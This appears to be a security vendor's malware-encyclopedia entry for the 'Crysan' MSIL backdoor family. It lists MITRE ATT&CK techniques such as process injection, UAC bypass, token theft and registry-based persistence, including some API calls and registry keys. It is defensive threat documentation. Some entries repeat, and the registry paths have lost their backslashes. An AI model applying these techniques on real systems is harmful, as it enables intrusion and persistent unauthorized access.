Update Date
01/23/2024

Class: Backdoor

Backdoors are designed to give malicious users remote control over an infected computer. In terms of functionality, Backdoors are similar to many administration systems designed and distributed by software developers. These types of malicious programs make it possible to do anything the author wants on the infected computer: send and receive files, launch files or delete them, display messages, delete data, reboot the computer, etc. The programs in this category are often used in order to unite a group of victim computers and form a botnet or zombie network. This gives malicious users centralized control over an army of infected computers which can then be used for criminal purposes. There is also a group of Backdoors which are capable of spreading via networks and infecting other computers as Net-Worms do. The difference is that such Backdoors do not spread automatically (as Net-Worms do), but only upon a special “command” from the malicious user that controls them.

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Platform: MSIL

The Common Intermediate Language (formerly known as Microsoft Intermediate Language, or MSIL) is an intermediate language developed by Microsoft for the .NET Framework. CIL code is generated by all Microsoft .NET compilers in Microsoft Visual Studio (Visual Basic .NET, Visual C++, Visual C#, and others).

Family: Crysan

No family description

Tactics and Techniques: Mitre*

TA0001
Initial Access

Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media’s firmware itself.


Mobile devices may also be used to infect PCs with malware if connected via USB.(Citation: Exploiting Smartphone USB ) This infection may be achieved using devices (Android, iOS, etc.) and, in some instances, USB charging cables.(Citation: Windows Malware Infecting Android)(Citation: iPhone Charging Cable Hack) For example, when a smartphone is connected to a system, it may appear to be mounted similar to a USB-connected disk drive. If malware that is compatible with the connected system is on the mobile device, the malware could infect the machine (especially if Autorun features are enabled).


T1091
Replication Through Removable Media

Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media’s firmware itself.


Mobile devices may also be used to infect PCs with malware if connected via USB.(Citation: Exploiting Smartphone USB ) This infection may be achieved using devices (Android, iOS, etc.) and, in some instances, USB charging cables.(Citation: Windows Malware Infecting Android)(Citation: iPhone Charging Cable Hack) For example, when a smartphone is connected to a system, it may appear to be mounted similar to a USB-connected disk drive. If malware that is compatible with the connected system is on the mobile device, the malware could infect the machine (especially if Autorun features are enabled).


TA0002
Execution

Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell.


There are also cross-platform interpreters such as Python, as well as those commonly associated with client applications such as JavaScript and Visual Basic.


Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in Initial Access payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various Remote Services in order to achieve remote Execution.(Citation: Powershell Remote Commands)(Citation: Cisco IOS Software Integrity Assurance – Command History)(Citation: Remote Shell Execution in Python)


T1059
Command and Scripting Interpreter

Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell.


There are also cross-platform interpreters such as Python, as well as those commonly associated with client applications such as JavaScript and Visual Basic.


Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in Initial Access payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various Remote Services in order to achieve remote Execution.(Citation: Powershell Remote Commands)(Citation: Cisco IOS Software Integrity Assurance – Command History)(Citation: Remote Shell Execution in Python)


T1059.003
Command and Scripting Interpreter: Windows Command Shell

Adversaries may abuse the Windows command shell for execution. The Windows command shell (cmd) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. The command prompt can be invoked remotely via Remote Services such as SSH.(Citation: SSH in Windows)


Batch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems.


Adversaries may leverage cmd to execute various commands and payloads. Common uses include cmd to execute a single command, or abusing cmd interactively with input and output forwarded over a command and control channel.


T1203
Exploitation for Client Execution

Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.


Several types exist:


### Browser-based Exploitation


Web browsers are a common target through Drive-by Compromise and Spearphishing Link. Endpoint systems may be compromised through normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the web browser. These often do not require an action by the user for the exploit to be executed.


### Office Applications


Common office and productivity applications such as Microsoft Office are also targeted through Phishing. Malicious files will be transmitted directly as attachments or through links to download them. These require the user to open the document or file for the exploit to run.


### Common Third-party Applications


Other applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation. Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems. Depending on the software and nature of the vulnerability, some may be exploited in the browser or require the user to open a file. For instance, some Flash exploits have been delivered as objects within Microsoft Office documents.


T1559.001
Inter-Process Communication: Component Object Model

Adversaries may use the Windows Component Object Model (COM) for local code execution. COM is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically binary Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) Remote COM execution is facilitated by Remote Services such as Distributed Component Object Model (DCOM).(Citation: Fireeye Hunting COM June 2019)


Various COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and Visual Basic.(Citation: Microsoft COM) Specific COM objects also exist to directly perform functions beyond code execution, such as creating a Scheduled Task/Job, fileless download/execution, and other adversary behaviors related to privilege escalation and persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)


TA0003
Persistence

Adversaries may manipulate accounts to maintain and/or elevate access to victim systems. Account manipulation may consist of any action that preserves or modifies adversary access to a compromised account, such as modifying credentials or permission groups. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials.


In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged Valid Accounts.


T1098
Account Manipulation

Adversaries may manipulate accounts to maintain and/or elevate access to victim systems. Account manipulation may consist of any action that preserves or modifies adversary access to a compromised account, such as modifying credentials or permission groups. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials.


In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged Valid Accounts.


T1134.003
Access Token Manipulation: Make and Impersonate Token

Adversaries may make new tokens and impersonate users to escalate privileges and bypass access controls. For example, if an adversary has a username and password but the user is not logged onto the system the adversary can then create a logon session for the user using the `LogonUser` function. The function will return a copy of the new session’s access token and the adversary can use `SetThreadToken` to assign the token to a thread.


This behavior is distinct from Token Impersonation/Theft in that this refers to creating a new user token instead of stealing or duplicating an existing one.


T1136.001
Create Account: Local Account

Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.


For example, with a sufficient level of access, the Windows net user /add command can be used to create a local account. On macOS systems the dscl -create command can be used to create a local account. Local accounts may also be added to network devices, often via common Network Device CLI commands such as username, or to Kubernetes clusters using the `kubectl` utility.(Citation: cisco_username_cmd)(Citation: Kubernetes Service Accounts Security)


Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.


T1176
Browser Extensions

Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser’s app store and generally have access and permissions to everything that the browser can access.(Citation: Wikipedia Browser Extension)(Citation: Chrome Extensions Definition)


Malicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so it may not be difficult for malicious extensions to defeat automated scanners.(Citation: Malicious Chrome Extension Numbers) Depending on the browser, adversaries may also manipulate an extension’s update url to install updates from an adversary controlled server or manipulate the mobile configuration file to silently install additional extensions.


Previous to macOS 11, adversaries could silently install browser extensions via the command line using the profiles tool to install malicious .mobileconfig files. In macOS 11+, the use of the profiles tool can no longer install configuration profiles, however .mobileconfig files can be planted and installed with user interaction.(Citation: xorrior chrome extensions macOS)


Once the extension is installed, it can browse to websites in the background, steal all information that a user enters into a browser (including credentials), and be used as an installer for a RAT for persistence.(Citation: Chrome Extension Crypto Miner)(Citation: ICEBRG Chrome Extensions)(Citation: Banker Google Chrome Extension Steals Creds)(Citation: Catch All Chrome Extension)


There have also been instances of botnets using a persistent backdoor through malicious Chrome extensions.(Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control.(Citation: Chrome Extension C2 Malware)


T1197
BITS Jobs

Adversaries may abuse BITS jobs to persistently execute code and perform various background tasks. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through Component Object Model (COM).(Citation: Microsoft COM)(Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.


The interface to create and manage BITS jobs is accessible through PowerShell and the BITSAdmin tool.(Citation: Microsoft BITS)(Citation: Microsoft BITSAdmin)


Adversaries may abuse BITS to download (e.g. Ingress Tool Transfer), execute, and even clean up after running malicious code (e.g. Indicator Removal). BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls.(Citation: CTU BITS Malware June 2016)(Citation: Mondok Windows PiggyBack BITS May 2007)(Citation: Symantec BITS May 2007) BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots).(Citation: PaloAlto UBoatRAT Nov 2017)(Citation: CTU BITS Malware June 2016)


BITS upload functionalities can also be used to perform Exfiltration Over Alternative Protocol.(Citation: CTU BITS Malware June 2016)


T1546.001
Event Triggered Execution: Change Default File Association

Adversaries may establish persistence by executing malicious content triggered by a file type association. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility.(Citation: Microsoft Change Default Programs)(Citation: Microsoft File Handlers)(Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.


System file associations are listed under HKEY_CLASSES_ROOT.[extension], for example HKEY_CLASSES_ROOT.txt. The entries point to a handler for that extension located at HKEY_CLASSES_ROOT\[handler]. The various commands are then listed as subkeys underneath the shell key at HKEY_CLASSES_ROOT\[handler]shell\[action]command. For example:


* HKEY_CLASSES_ROOTtxtfileshellopencommand

* HKEY_CLASSES_ROOTtxtfileshellprintcommand

* HKEY_CLASSES_ROOTtxtfileshellprinttocommand


The values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands.(Citation: TrendMicro TROJ-FAKEAV OCT 2012)


T1546.002
Event Triggered Execution: Screensaver

Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in C:WindowsSystem32, and C:WindowssysWOW64 on 64-bit Windows systems, along with screensavers included with base Windows installations.


The following screensaver settings are stored in the Registry (HKCUControl PanelDesktop) and could be manipulated to achieve persistence:


* SCRNSAVE.exe – set to malicious PE path

* ScreenSaveActive – set to ‘1’ to enable the screensaver

* ScreenSaverIsSecure – set to ‘0’ to not require a password to unlock

* ScreenSaveTimeout – sets user inactivity timeout before screensaver is executed


Adversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity.(Citation: ESET Gazer Aug 2017)


T1546.012
Event Triggered Execution: Image File Execution Options Injection

Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., C:dbgntsd.exe -g notepad.exe). (Citation: Microsoft Dev Blog IFEO Mar 2010)


IFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger values in the Registry under HKLMSOFTWARE{Wow6432Node}MicrosoftWindows NTCurrentVersionImage File Execution Options where <executable> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)


IFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IFEO and silent process exit Registry values in HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionSilentProcessExit. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)


Similar to Accessibility Features, on Windows Vista and later as well as Windows Server 2008 and later, a Registry key may be modified that configures “cmd.exe,” or another program that provides backdoor access, as a “debugger” for an accessibility program (ex: utilman.exe). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with Remote Desktop Protocol will cause the “debugger” program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)


Similar to Process Injection, these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation.


Malware may also use IFEO to Impair Defenses by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)


T1547.004
Boot or Logon Autostart Execution: Winlogon Helper DLL

Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLMSoftware[\Wow6432Node\]MicrosoftWindows NTCurrentVersionWinlogon and HKCUSoftwareMicrosoftWindows NTCurrentVersionWinlogon are used to manage additional helper programs and functionalities that support Winlogon.(Citation: Cylance Reg Persistence Sept 2013)


Malicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)


* WinlogonNotify – points to notification package DLLs that handle Winlogon events

* WinlogonUserinit – points to userinit.exe, the user initialization program executed when a user logs on

* WinlogonShell – points to explorer.exe, the system shell executed when a user logs on


Adversaries may take advantage of these features to repeatedly execute malicious code and establish persistence.


T1547.009
Boot or Logon Autostart Execution: Shortcut Modification

Adversaries may create or modify shortcuts that can execute a program during system boot or user login. Shortcuts or symbolic links are used to reference other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process.


Adversaries may abuse shortcuts in the startup folder to execute their tools and achieve persistence.(Citation: Shortcut for Persistence ) Although often used as payloads in an infection chain (e.g. Spearphishing Attachment), adversaries may also create a new shortcut as a means of indirection, while also abusing Masquerading to make the malicious shortcut appear as a legitimate program. Adversaries can also edit the target path or entirely replace an existing shortcut so their malware will be executed instead of the intended legitimate program.


Shortcuts can also be abused to establish persistence by implementing other methods. For example, LNK browser extensions may be modified (e.g. Browser Extensions) to persistently launch malware.


T1547.012
Boot or Logon Autostart Execution: Print Processors

Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. Print processors are DLLs that are loaded by the print spooler service, `spoolsv.exe`, during boot.(Citation: Microsoft Intro Print Processors)


Adversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup. A print processor can be installed through the AddPrintProcessor API call with an account that has SeLoadDriverPrivilege enabled. Alternatively, a print processor can be registered to the print spooler service by adding the HKLMSYSTEM\[CurrentControlSet or ControlSet001]ControlPrintEnvironments\[Windows architecture: e.g., Windows x64]Print Processors\[user defined]Driver Registry key that points to the DLL.


For the malicious print processor to be correctly installed, the payload must be located in the dedicated system print-processor directory, that can be found with the GetPrintProcessorDirectory API call, or referenced via a relative path from this directory.(Citation: Microsoft AddPrintProcessor May 2018) After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.(Citation: ESET PipeMon May 2020)


The print spooler service runs under SYSTEM level permissions, therefore print processors installed by an adversary may run under elevated privileges.


T1548.002
Abuse Elevation Control Mechanism: Bypass User Account Control

Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.(Citation: TechNet How UAC Works)


If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated Component Object Model objects without prompting the user through the UAC notification box.(Citation: TechNet Inside UAC)(Citation: MSDN COM Elevation) An example of this is use of Rundll32 to load a specifically crafted DLL which loads an auto-elevated Component Object Model object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)


Many methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:


* eventvwr.exe can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)


Another bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)


T1555
Credentials from Password Stores

Adversaries may search for common password storage locations to obtain user credentials. Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. There are also specific applications and services that store passwords to make them easier for users to manage and maintain, such as password managers and cloud secrets vaults. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.


TA0004
Privilege Escalation

Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process’s memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.


There are many different ways to inject code into a process, many of which abuse legitimate functionalities. These implementations exist for every major OS but are typically platform specific.


More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.


T1055
Process Injection

Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process’s memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.


There are many different ways to inject code into a process, many of which abuse legitimate functionalities. These implementations exist for every major OS but are typically platform specific.


More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.


T1055.002
Process Injection: Portable Executable Injection

Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process.


PE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references. (Citation: Elastic Process Injection July 2017)


Running code in the context of another process may allow access to the process’s memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process.


T1055.003
Process Injection: Thread Execution Hijacking

Adversaries may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. Thread Execution Hijacking is a method of executing arbitrary code in the address space of a separate live process.


Thread Execution Hijacking is commonly performed by suspending an existing process then unmapping/hollowing its memory, which can then be replaced with malicious code or the path to a DLL. A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point the process can be suspended then written to, realigned to the injected code, and resumed via SuspendThread , VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Elastic Process Injection July 2017)


This is very similar to Process Hollowing but targets an existing process rather than creating a process in a suspended state.


Running code in the context of another process may allow access to the process’s memory, system/network resources, and possibly elevated privileges. Execution via Thread Execution Hijacking may also evade detection from security products since the execution is masked under a legitimate process.


T1055.004
Process Injection: Asynchronous Procedure Call

Adversaries may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges. APC injection is a method of executing arbitrary code in the address space of a separate live process.


APC injection is commonly performed by attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process’s thread. Queued APC functions are executed when the thread enters an alterable state.(Citation: Microsoft APC) A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point QueueUserAPC can be used to invoke a function (such as LoadLibrayA pointing to a malicious DLL).


A variation of APC injection, dubbed “Early Bird injection”, involves creating a suspended process in which malicious code can be written and executed before the process’ entry point (and potentially subsequent anti-malware hooks) via an APC. (Citation: CyberBit Early Bird Apr 2018) AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table.(Citation: Microsoft Atom Table)


Running code in the context of another process may allow access to the process’s memory, system/network resources, and possibly elevated privileges. Execution via APC injection may also evade detection from security products since the execution is masked under a legitimate process.


T1134.001
Access Token Manipulation: Token Impersonation/Theft

Adversaries may duplicate then impersonate another user’s existing token to escalate privileges and bypass access controls. For example, an adversary can duplicate an existing token using `DuplicateToken` or `DuplicateTokenEx`. The token can then be used with `ImpersonateLoggedOnUser` to allow the calling thread to impersonate a logged on user’s security context, or with `SetThreadToken` to assign the impersonated token to a thread.


An adversary may perform Token Impersonation/Theft when they have a specific, existing process they want to assign the duplicated token to. For example, this may be useful for when the target user has a non-network logon session on the system.


When an adversary would instead use a duplicated token to create a new process rather than attaching to an existing process, they can additionally Create Process with Token using `CreateProcessWithTokenW` or `CreateProcessAsUserW`. Token Impersonation/Theft is also distinct from Make and Impersonate Token in that it refers to duplicating an existing token, rather than creating a new one.


T1134.002
Access Token Manipulation: Create Process with Token

Adversaries may create a new process with an existing token to escalate privileges and bypass access controls. Processes can be created with the token and resulting security context of another user using features such as CreateProcessWithTokenW and runas.(Citation: Microsoft RunAs)


Creating processes with a token not associated with the current user may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used. For example, the token could be duplicated via Token Impersonation/Theft or created via Make and Impersonate Token before being used to create a process.


While this technique is distinct from Token Impersonation/Theft, the techniques can be used in conjunction where a token is duplicated and then used to create a new process.


T1546.001
Event Triggered Execution: Change Default File Association

Adversaries may establish persistence by executing malicious content triggered by a file type association. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility.(Citation: Microsoft Change Default Programs)(Citation: Microsoft File Handlers)(Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.


System file associations are listed under HKEY_CLASSES_ROOT.[extension], for example HKEY_CLASSES_ROOT.txt. The entries point to a handler for that extension located at HKEY_CLASSES_ROOT\[handler]. The various commands are then listed as subkeys underneath the shell key at HKEY_CLASSES_ROOT\[handler]shell\[action]command. For example:


* HKEY_CLASSES_ROOTtxtfileshellopencommand

* HKEY_CLASSES_ROOTtxtfileshellprintcommand

* HKEY_CLASSES_ROOTtxtfileshellprinttocommand


The values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands.(Citation: TrendMicro TROJ-FAKEAV OCT 2012)


T1546.002
Event Triggered Execution: Screensaver

Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in C:WindowsSystem32, and C:WindowssysWOW64 on 64-bit Windows systems, along with screensavers included with base Windows installations.


The following screensaver settings are stored in the Registry (HKCUControl PanelDesktop) and could be manipulated to achieve persistence:


* SCRNSAVE.exe – set to malicious PE path

* ScreenSaveActive – set to ‘1’ to enable the screensaver

* ScreenSaverIsSecure – set to ‘0’ to not require a password to unlock

* ScreenSaveTimeout – sets user inactivity timeout before screensaver is executed


Adversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity.(Citation: ESET Gazer Aug 2017)


T1546.012
Event Triggered Execution: Image File Execution Options Injection

Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., C:dbgntsd.exe -g notepad.exe). (Citation: Microsoft Dev Blog IFEO Mar 2010)


IFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger values in the Registry under HKLMSOFTWARE{Wow6432Node}MicrosoftWindows NTCurrentVersionImage File Execution Options where <executable> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)


IFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IFEO and silent process exit Registry values in HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionSilentProcessExit. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)


Similar to Accessibility Features, on Windows Vista and later as well as Windows Server 2008 and later, a Registry key may be modified that configures “cmd.exe,” or another program that provides backdoor access, as a “debugger” for an accessibility program (ex: utilman.exe). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with Remote Desktop Protocol will cause the “debugger” program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)


Similar to Process Injection, these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation.


Malware may also use IFEO to Impair Defenses by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)


T1547.004
Boot or Logon Autostart Execution: Winlogon Helper DLL

Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLMSoftware[\Wow6432Node\]MicrosoftWindows NTCurrentVersionWinlogon and HKCUSoftwareMicrosoftWindows NTCurrentVersionWinlogon are used to manage additional helper programs and functionalities that support Winlogon.(Citation: Cylance Reg Persistence Sept 2013)


Malicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)


* WinlogonNotify – points to notification package DLLs that handle Winlogon events

* WinlogonUserinit – points to userinit.exe, the user initialization program executed when a user logs on

* WinlogonShell – points to explorer.exe, the system shell executed when a user logs on


Adversaries may take advantage of these features to repeatedly execute malicious code and establish persistence.


T1547.012
Boot or Logon Autostart Execution: Print Processors

Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. Print processors are DLLs that are loaded by the print spooler service, `spoolsv.exe`, during boot.(Citation: Microsoft Intro Print Processors)


Adversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup. A print processor can be installed through the AddPrintProcessor API call with an account that has SeLoadDriverPrivilege enabled. Alternatively, a print processor can be registered to the print spooler service by adding the HKLMSYSTEM\[CurrentControlSet or ControlSet001]ControlPrintEnvironments\[Windows architecture: e.g., Windows x64]Print Processors\[user defined]Driver Registry key that points to the DLL.


For the malicious print processor to be correctly installed, the payload must be located in the dedicated system print-processor directory, that can be found with the GetPrintProcessorDirectory API call, or referenced via a relative path from this directory.(Citation: Microsoft AddPrintProcessor May 2018) After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.(Citation: ESET PipeMon May 2020)


The print spooler service runs under SYSTEM level permissions, therefore print processors installed by an adversary may run under elevated privileges.


T1548.002
Abuse Elevation Control Mechanism: Bypass User Account Control

